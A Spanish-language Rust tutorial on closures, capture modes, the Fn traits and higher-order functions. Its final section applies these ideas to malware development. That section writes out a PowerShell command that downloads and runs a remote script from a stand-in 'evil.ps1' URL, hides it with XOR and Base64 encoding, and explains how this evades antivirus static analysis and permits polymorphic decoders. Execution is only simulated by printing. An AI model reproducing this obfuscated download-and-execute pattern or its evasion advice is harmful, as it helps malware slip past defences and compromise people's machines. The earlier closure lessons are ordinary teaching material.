Closures en Rust

1. ¿Qué es una closure?

Una closure es una función anónima que puede capturar variables de su entorno.
Sintaxis básica:

|parametros| -> TipoRetorno { cuerpo }

Ejemplos

|n| n * 2                  // inferencia de tipo
|x: f32| -> f32 { x + 1.0 } // con tipos explícitos
|| println!("sin args")     // sin parámetros

2. Captura de variables

Las closures pueden capturar variables del entorno donde se definen.

Las closures pueden capturar de tres formas:

Modo de captura	Trait	Cuándo ocurre
Referencia inmutable	Fn	Solo lectura
Referencia mutable	FnMut	Modifica variables capturadas
Por valor (mueve datos)	FnOnce	Consume variables capturadas (con move)

Por ejemplo

// Fn: solo lectura
let max_value = 5;
let clamp = |v| v.min(max_value); // captura max_value por referencia inmutable

// FnMut: muta estado
let mut sum = 0;
let mut add_to_sum = |x| sum += x;

// FnOnce: consume
let data = vec![1, 2, 3];
let consume_data = move || {
    println!("{:?}", data);
}; // Lo que ocurre acá es que se mueve el vector `data` dentro de la closure haciendo que no se pueda usar fuera de ella.

3. utilización de move

Forza la captura por valor, moviendo la propiedad de las variables a la closure.

Útil para:

• Threads (thread::spawn)
• Evitar problemas de lifetime
• Asegurar que la closure tenga su propia copia de datos
• Evitar referencias a variables externas
• Entre mil cositas más.

Ejemplo: mover propiedad a un hilo

move transfiere la propiedad de las variables capturadas a la closure, lo cual es necesario al usar thread::spawn porque el hilo puede vivir más que el stack local.

Puntos clave

• move captura por valor; los datos deben ser Send (y a menudo 'static).
• Tras el move la variable original ya no es usable en el hilo llamador.
• Para compartir estado entre hilos usa Arc<Mutex<T>>.
• Llama a join() en el JoinHandle para esperar y manejar errores.

Ejemplo:

use std::thread;

let payload = vec![0x90, 0x90, 0xCC]; // NOP NOP INT3
thread::spawn(move || {
    // aquí payload es propiedad de la closure
    println!("Payload size: {}", payload.len());
}).join().unwrap(); // join y unwrap hacen espera y manejo de errores

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4. Jerarquia de traits

• Los traits son interfaces que definen comportamientos.
• Las closures implementan los traits Fn, FnMut y FnOnce
• Fn es el más flexible: se puede usar donde pidan cualquiera de los tres.
• FnMut se puede usar donde pidan FnMut o FnOnce.
• FnOnce solo donde pidan FnOnce.

Ejemplo de jerarquía de traits

fn call_fn<F: Fn()>(f: F) {
    f();
}

fn call_fn_mut<F: FnMut()>(mut f: F) {
    f();
}

fn call_fn_once<F: FnOnce()>(f: F) {
    f();
}

// La verdad es que esto no lo entiendo del todo bien.

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5 Punteros a función fn

Si una closure no captura nada, puede convertirse en un puntero de función

let add1 = |x: i32| x + 1; 
let f: fn(i32) -> i32 = add1;

// Ahora `f` es un puntero a función que puede ser llamado como `f(5)`
//Entonces podemos imprimir
println!("Resultado: {}", f(5)); // Resultado: 6

Otro ejemplo de puntero a función más complejo

Demostración más útil: usar apply_fn con una closure que captura entorno, con una función normal (puntero) y un ejemplo de hilos.

Aplica una función o clausura que toma un i32 y devuelve un i32 al valor x.

Esta es una función de orden superior genérica: recibe un parámetro de tipo F que implementa el trait Fn(i32) -> i32 (es decir, cualquier función o clausura que acepte un i32 y produzca un i32). La función simplemente llama a f(x) y devuelve el resultado.

Propósito práctico:

• Abstraer la operación de “aplicar” una transformación sobre un entero sin fijar qué transformación es.
• Permitir pasar tanto funciones libres como clausuras que puedan capturar el entorno (siempre que sean compatibles con Fn).
• Si necesitas que la clausura pueda mutar su entorno, considera usar FnMut; si la clausura se consume al invocarse, usa FnOnce.

Parámetros:

• f: la función o clausura a aplicar sobre x.
• x: el entero que se pasará a f.

Retorna:

• El resultado de f(x) como i32.

• Ejemplo:

fn apply_fn<F: Fn(i32) -> i32>(f: F, x: i32) -> i32 {
    f(x)
}

fn add_one(n: i32) -> i32 {
    n + 1
}

fn main() {
    // Closure que captura por referencia inmutable
    let factor = 3;
    let multiply = |n: i32| n * factor;

    // Closure que muta estado externo (FnMut)
    let mut total = 0;
    {
        let mut add_to_total = |n: i32| total += n;
        add_to_total(5);
        add_to_total(10);
    }

    println!("apply_fn con closure multiply: {}", apply_fn(multiply, 4)); // 12
    println!("apply_fn con función add_one: {}", apply_fn(add_one, 4)); // 5

    // Ejemplo con threads: mover propiedad a la closure
    let nums = vec![1, 2, 3];
    let handles: Vec<_> = nums.into_iter().map(|n| {
        std::thread::spawn(move || n * 2)
    }).collect();

    for h in handles {
        println!("Resultado del hilo: {}", h.join().unwrap());
    }

    println!("total acumulado = {}", total);
}

Analogía de abstracción porque si no no se entiende del todo bien

Analogía: Un ayudante de cocina robotico

Imaginemos que construimos un robot de cocina llamado apply_fn. Su unica tarea es tomar un ingrediente xy aplicarle una acción de cocina f que le pasamos.

// Nuestro robot de cocina
fn apply_fn<F: Fn(i32) -> i32>(f: F, x: i32) -> i32 {
    // f: la acción de cocina (ej: cortar, freír, mezclar)
    // x: el ingrediente (ej: una papa, representada por un número)
    f(x) // El robot aplica la acción al ingrediente
}

Ahora tenemos diferentes “recetas” (funciones o closures) que pueden ser pasadas al robot:

• receta add_one (función normal): “Pelar papa”, O sea sumarle 1 al número.
• receta multiply (closure): “Cortar papa en trozos de tamaño factor”, O sea multiplicar el número por un factor.

Nosotros como jefe de cocina podemos decirle al robot:

• “Agarrá esta papa 4 y usá la receta add_one para prepararla”.
  • El robot hace apply_fn(add_one, 4) y nos devuelve 5.
• “Robot, agarrá esta papa 4 y usá la receta multiply para prepararla”.
  • El robot hace apply_fn(multiply, 4) y nos devuelve 12.

Ahora imaginemos una función preparar_gran_banquete que:

• Lava 100 papas.
• Lllama al robot apply_fn para que haga algo con cada papa.
• Hornea todas las papas.

Ahora podemos utilizar preparar_gran_banquete con diferentes recetas:

• papas fritas: preparar_gran_banquete(cortar_en_bastones)
• puré de papas: preparar_gran_banquete(pisar_papas)

Entonces no hace falta reescribir los pasos de lavar y hornear, solo cambiamos la receta que le pasamos al robot.

El Poder en el Mundo Real: Más Allá de apply_fn

Este patrón es la base de muchos metodos que se usan constantemente en Rust, especialmente con iteradores. Si pensamos en el metodo .map() es exactamente como apply_fn, pero aplicado a cada elemento de una colección.

let numeros = vec![1, 2, 3];

// .map() es una función de orden superior como apply_fn.
// Le pasas una "receta" (la closure |n| n * 2) y la aplica a cada elemento.
let dobles: Vec<_> = numeros.iter().map(|n| n * 2).collect(); // [2, 4, 6]

Acá .map() está abstrayendo el bucle y la logica de aplicar una transformación. Nosotros solo nos preocupamos por definir que transformación queremos aplicar a cada elemento.

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Ejemplo con malware development

Payload ofuscado

El objetivo principal de un malware es evitar ser detectado por los antivirus (AV) y analistas. Una técnica fundamental es no incluir el código malicioso (shellcode, comandos, etc.) en texto plano dentro del ejecutable. En su lugar, se almacena de forma ofuscada (cifrada, codificada) y se decodifica en memoria justo antes de usarlo. Nuestra función de orden superior nos permitirá cambiar fácilmente el algoritmo de decodificación sin alterar la lógica de ejecución.

En este ejemplo, vamos a simular la ejecución. Ddecodificaremos un comando y lo imprimiremos en la consola. El principio es exactamente el mismo.

// Función de orden superior para decodificar y "ejecutar" un payload.
// F es el tipo genérico para nuestra función de decodificación.
// El trait `Fn(&[u8]) -> Vec<u8>` significa que F debe ser una función
// o closure que toma un slice de bytes y devuelve un nuevo Vector de bytes.
fn execute_decoded_payload<F>(encoded_payload: &[u8], decoder: F)
where
    F: Fn(&[u8]) -> Vec<u8>,
{
    println!("⚙️ Ejecutor genérico iniciado...");

    // 1. La función 'decoder' que pasamos se invoca aquí.
    //    No sabemos ni nos importa si es XOR, Base64, etc. Solo la llamamos.
    let decoded_payload = decoder(encoded_payload);
    println!("📦 Payload decodificado correctamente.");

    // 2. SIMULACIÓN DE EJECUCIÓN
    //    En un malware real, aquí es donde el shellcode decodificado
    //    se copiaría a una memoria ejecutable y se llamaría.
    //    Nosotros solo lo convertiremos a String para verlo.
    match String::from_utf8(decoded_payload) {
        Ok(command) => println!("🚀 EJECUTANDO COMANDO SIMULADO: '{}'", command),
        Err(_) => println!("❌ Error: El payload decodificado no es un string UTF-8 válido."),
    }
    println!("------------------------------------");
}

// --- Implementaciones de Algoritmos de Decodificación ---

// Algoritmo 1: Decodificador XOR simple
fn xor_decode(data: &[u8], key: u8) -> Vec<u8> {
    data.iter().map(|byte| byte ^ key).collect()
}

// Algoritmo 2: Decodificador Base64 (usando una librería externa)
// Para usar esto, añade `base64 = "0.21"` a tu Cargo.toml
fn base64_decode(data: &[u8]) -> Vec<u8> {
    use base64::{engine::general_purpose, Engine as _};
    general_purpose::STANDARD.decode(data).unwrap_or_default()
}


fn main() {
    // Nuestro comando malicioso secreto
    let secret_command = "powershell -c \"IEX (New-Object Net.WebClient).DownloadString('http://example.com/evil.ps1')\"";

    // --- Preparando Payloads Ofuscados ---

    // 1. Payload ofuscado con XOR y una clave secreta (0xAB)
    let xor_key = 0xAB;
    let xor_encoded_payload: Vec<u8> = secret_command.bytes().map(|b| b ^ xor_key).collect();
    println!("🔑 Payload cifrado con XOR: {:?}", &xor_encoded_payload[..20]);


    // 2. Payload ofuscado con Base64
    use base64::{engine::general_purpose, Engine as _};
    let base64_encoded_payload = general_purpose::STANDARD.encode(secret_command);
    println!("📜 Payload codificado en Base64: {}...", &base64_encoded_payload[..20]);

    println!("\n=== INICIANDO OPERACIONES ===\n");


    // --- Usando nuestro ejecutor polimórfico ---

    // Ejecutamos el payload XOR. Usamos una closure para capturar la `xor_key`.
    // La closure `|payload| xor_decode(payload, xor_key)` cumple con el trait `Fn(&[u8]) -> Vec<u8>`.
    execute_decoded_payload(&xor_encoded_payload, |payload| xor_decode(payload, xor_key));

    // Ejecutamos el payload Base64. Pasamos la función directamente.
    execute_decoded_payload(base64_encoded_payload.as_bytes(), base64_decode);
}

Okay pero por qué este patrón es útil en malware development?

• Polmorfismo para la evasión: Se puede tener 10 maneras diferentes de cifrar un payload. El código principal que lo ejecuta execute_decoded_payload no cambia, solo la función de decodificación. Dandonos una flexibilidad enorme para cambiar el algoritmo de evasión sin reescribir la lógica de ejecución.
• Evasión del analisis estatico de los AV: cuando un AV mira los bytes de tu ejecutable no va a ver el string “powershell -c …”. Va a ver una secuencia de bytes ofuscados. Esto dificulta que los AV detecten el payload malicioso.
• Modularidad y reutilización: Puedes reutilizar execute_decoded_payload con diferentes algoritmos de decodificación sin duplicar código. Si necesitas cambiar la lógica de ejecución, solo modificas una parte.